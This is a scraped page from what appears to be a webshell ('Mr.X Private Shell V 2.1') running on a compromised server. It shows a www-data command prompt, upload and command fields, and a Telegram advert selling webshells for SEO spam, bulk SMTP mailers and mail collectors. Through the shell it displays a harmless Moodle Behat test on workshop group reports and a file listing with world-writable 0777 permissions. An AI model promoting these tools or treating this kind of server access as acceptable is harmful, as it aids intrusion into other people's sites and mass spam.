__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_workshop
Feature: Viewing workshop reports by group
  In order to manage workshops for separate groups
  As a teacher
  I need to select groups for grade reports and submission allocation

  Background:
    And the following "courses" exist:
      | fullname      | shortname |
      | Test Course 1 | C1        |
    And the following "groups" exist:
      | name    | course | idnumber | participation |
      | Group 1 | C1     | G1       | 1             |
      | Group 2 | C1     | G2       | 1             |
      | Group 3 | C1     | G3       | 0             |
    And the following "users" exist:
      | username   | firstname     | lastname | email                  |
      | teacher1   | TeacherG1     | 1        | teacher1@example.com   |
      | user1      | User1G1       | 1        | user1@example.com      |
      | user2      | User2G2       | 2        | user2@example.com      |
      | user3      | User3None     | 3        | user3@example.com      |
      | user4      | User4NPgroup  | 4        | user4@example.com      |
    And the following "course enrolments" exist:
      | user       | course | role           |
      | teacher1   | C1     | editingteacher |
      | user1      | C1     | student        |
      | user2      | C1     | student        |
      | user3      | C1     | student        |
      | user4      | C1     | student        |
    And the following "group members" exist:
      | user       | group |
      | teacher1   | G1    |
      | user1      | G1    |
      | user2      | G2    |
      | user4      | G3    |
    And the following "activities" exist:
      | activity | course | name              | submissiontypetext | idnumber    | groupmode |
      | workshop | C1     | Separate workshop | 1                  | workshop1   | 1         |
      | workshop | C1     | Visible workshop  | 1                  | workshop2   | 2         |

  Scenario Outline: Grade report should only show participation groups
    Given I am on the "<workshop>" "workshop activity" page logged in as "teacher1"
    And I follow "Switch to the next phase"
    And I press "Continue"
    And I should see "All participants" in the "<mode> groups" "select"
    And I should see "Group 1" in the "<mode> groups" "select"
    And I should see "Group 2" in the "<mode> groups" "select"
    And I should not see "Group 3" in the "<mode> groups" "select"
    And the field "<mode> groups" matches value "All participants"
    And I should see "User1G1"
    And I should see "User2G2"
    And I should see "User3None"
    And I should see "User4NPgroup"
    When I select "Group 1" from the "<mode> groups" singleselect
    Then I should see "User1G1"
    And I should not see "User2G2"
    And I should not see "User3None"
    And I should not see "User4NPgroup"

    Examples:
      | workshop  | mode     |
      | workshop1 | Separate |
      | workshop2 | Visible  |

  Scenario Outline: Submissions allocation page should only show participation groups
    Given I am on the "<workshop>" "workshop activity" page logged in as "teacher1"
    And I follow "Submissions allocation"
    And I should see "All participants" in the "<mode> groups" "select"
    And I should see "Group 1" in the "<mode> groups" "select"
    And I should see "Group 2" in the "<mode> groups" "select"
    And I should not see "Group 3" in the "<mode> groups" "select"
    And the field "<mode> groups" matches value "All participants"
    And I should see "User1G1"
    And I should see "User2G2"
    And I should see "User3None"
    And I should see "User4NPgroup"
    When I select "Group 1" from the "<mode> groups" singleselect
    Then I should see "User1G1"
    And I should not see "User2G2"
    And I should not see "User3None"
    And I should not see "User4NPgroup"

    Examples:
      | workshop  | mode     |
      | workshop1 | Separate |
      | workshop2 | Visible  |

Filemanager

Name Type Size Permission Actions
behat_mod_workshop.php File 8.05 KB 0777
delete_submission.feature File 4.38 KB 0777
embedded_images.feature File 4.33 KB 0777
example_submission.feature File 2.2 KB 0777
export_submission.feature File 4.47 KB 0777
file_type_restriction.feature File 6.19 KB 0777
grade_to_pass.feature File 4.81 KB 0777
grading_strategy.feature File 4.62 KB 0777
group_mode.feature File 3.81 KB 0777
self_assessment.feature File 3.7 KB 0777
submission_types.feature File 9.28 KB 0777
workshop_activity_allocation.feature File 3.89 KB 0777
workshop_activity_completion.feature File 4.57 KB 0777
workshop_activity_filter.feature File 4.53 KB 0777
workshop_assessment.feature File 8.83 KB 0777
workshop_assessment_comparison.feature File 5.38 KB 0777
workshop_assessment_navigation.feature File 3.42 KB 0777
workshop_completion_pass_grade.feature File 7.36 KB 0777
workshop_edit_form.feature File 2.25 KB 0777
workshop_grade.feature File 7.24 KB 0777
workshop_late_submission.feature File 3.63 KB 0777
workshop_section_remembered.feature File 1.6 KB 0777
workshop_submission_max_upload.feature File 2.26 KB 0777
workshop_submission_view.feature File 3.89 KB 0777
Filemanager